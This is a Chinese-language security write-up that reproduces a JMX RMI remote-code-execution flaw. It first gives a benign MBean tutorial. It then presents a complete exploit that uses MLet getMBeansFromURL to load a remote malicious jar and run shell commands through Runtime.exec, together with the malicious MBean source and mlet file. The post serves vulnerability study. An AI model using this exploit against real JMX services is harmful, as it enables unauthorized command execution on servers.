0x00 前言
本來在復現solr的漏洞,后來發現這個漏洞是個通用的jmxrmi漏洞。
JMX是Java Management Extensions,它是一個Java平台的管理和監控接口。為什么要搞JMX呢?因為在所有的應用程序中,對運行中的程序進行監控都是非常重要的,Java應用程序也不例外。我們肯定希望知道Java應用程序當前的狀態,例如,占用了多少內存,分配了多少內存,當前有多少活動線程,有多少休眠線程等等。如何獲取這些信息呢?
JMX把所有被管理的資源都稱為 MBean(Managed Bean),這些MBean全部由MBeanServer管理,如果要訪問MBean,可以通過MBeanServer對外提供的訪問接口,例如通過RMI或HTTP訪問。
0x01 一些簡單的🌰
創建一個接口
public interface HelloMBean {
// getter and setter for the attribute "name"
public String getName();
public void setName(String newName);
// Bean method "sayHello"
public String sayHello();
}
實現該接口
public class Hello implements HelloMBean {
private String name = "MOGWAI LABS";
// getter/setter for the "name" attribute
public String getName() { return this.name; }
public void setName(String newName) { this.name = newName; }
// Methods
public String sayHello() { return "hello: " + name; }
}
啟用一個jmx服務端口,需要先注冊mbean,然后將mbean綁定到jmx端口
import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws Exception {
System.out.println( "Hello World!" );
App app = new App();
app.restartServer();
}
public void restartServer() throws Exception {
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
try {
// 注冊一個MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key1=val1"));
// 再注冊一個MBean
server.registerMBean(new Hello(), new ObjectName("domain1:key2=val2"));
} catch (InstanceAlreadyExistsException | MBeanRegistrationException | NotCompliantMBeanException | MalformedObjectNameException e) {
e.printStackTrace();
}
// 新啟用一個端口號用於JMX連接
LocateRegistry.createRegistry(9999);
JMXConnectorServer jcs = JMXConnectorServerFactory.newJMXConnectorServer(
new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi"),
null,
server);
jcs.start();
}
}
jmx客戶端代碼如下,用於連接遠程的jmxserver並且打印mbean
import java.lang.management.ManagementFactory;
import java.util.Arrays;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class MBeanClient {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
Set<ObjectName> objectNames = mBeanServerConnection.queryNames(null, null);
for (ObjectName objectName : objectNames) {
System.out.println("========" + objectName + "========");
MBeanInfo mBeanInfo = mBeanServerConnection.getMBeanInfo(objectName);
System.out.println("[Attributes]");
for (MBeanAttributeInfo attr : mBeanInfo.getAttributes()) {
Object value = null;
try {
value = attr.isReadable() ? mBeanServerConnection.getAttribute(objectName, attr.getName()) : "";
} catch (Exception e) {
value = e.getMessage();
}
System.out.println(attr.getName() + ":" + value);
}
System.out.println("[Operations]");
for (MBeanOperationInfo oper : mBeanInfo.getOperations()) {
System.out.println(oper.getName() + ":" + oper.getDescription());
}
System.out.println("[Notifications]");
for (MBeanNotificationInfo notice : mBeanInfo.getNotifications()) {
System.out.println(notice.getName() + ":" + notice.getDescription());
}
}
}
}
注意移動的時候需要加上參數,我這里是idea直接加上
-Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
同樣可以使用jconsole連接進行查看
從以上例子可以看到,可以通過jmxrmi的遠程服務進行調用。上面的例子即調用了Hello類的sayHello方法。
0x02 漏洞利用
前一個點已經講過可以進行遠程調用已在Mbean中加載的類和方法,但我們需要一個命令執行的類和方法,這個方法只能通過遠程進行預加載進來,於是就有了另外一個方法,通過Mlet的getMbeanFromUrl方法進行遠程加載惡意的jar包,再對其進行調用。
網上的例子有點小bug,當jar已經加載到內存中則會顯示objectname已加載的錯誤,重新寫了一個exp,若已被調用則直接調用該objectName
import java.lang.management.ManagementFactory;
import java.net.InetAddress;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import javax.management.*;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
public class MBeanClient {
public static void main(String[] args) throws Exception {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:10000/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
//System.out.println("123");
MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();
ObjectInstance evilBean = null;
ObjectInstance evil = null;
Object expResult;
try{
evil = mBeanServerConnection.createMBean("javax.management.loading.MLet",null);
Object loadEvilBean = mBeanServerConnection.invoke(evil.getObjectName(),"getMBeansFromURL",new Object[]{"http://127.0.0.1:10001/mlet"},new String[]{String.class.getName()});
HashSet hashSet = ((HashSet)loadEvilBean);
Iterator iterator = hashSet.iterator();
Object theObject = iterator.next();
evilBean = ((ObjectInstance)theObject);
System.out.println(evilBean.getObjectName());
expResult = mBeanServerConnection.invoke(evilBean.getObjectName(),"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
} catch (Exception e) {
ObjectName objectName = new ObjectName("MLetCompromise:name=evil,id=1");
expResult = mBeanServerConnection.invoke(objectName,"runCommand",new String[]{"whoami"},new String[]{String.class.getName()});
}
System.out.println(expResult);
}
}
另外重新編譯
//EvilMBean.java
public interface EvilMBean {
public String runCommand(String cmd);
}
import java.io.*;
public class Evil implements EvilMBean
{
public String runCommand(String cmd)
{
try {
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(cmd);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
String stdout_err_data = "";
String s;
while ((s = stdInput.readLine()) != null)
{
stdout_err_data += s+"\n";
}
while ((s = stdError.readLine()) != null)
{
stdout_err_data += s+"\n";
}
proc.waitFor();
return stdout_err_data;
}
catch (Exception e)
{
return e.toString();
}
}
}
編譯成jar包,我這里直接idea build一下
將jar包和mlet文件放到同個文件夾下,mlet內容如下,並且其中web服務
<html><mlet code="Exploit.Evil" archive="EvilJar.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:10001"></mlet></html>
注意,記住code的內容為jar包中的類的路徑,name也要記住,因為后面在已加載成功以后第二次是無法利用的
執行命令成功
0x03 參考
https://github.com/jas502n/CVE-2019-12409
https://www.anquanke.com/post/id/194126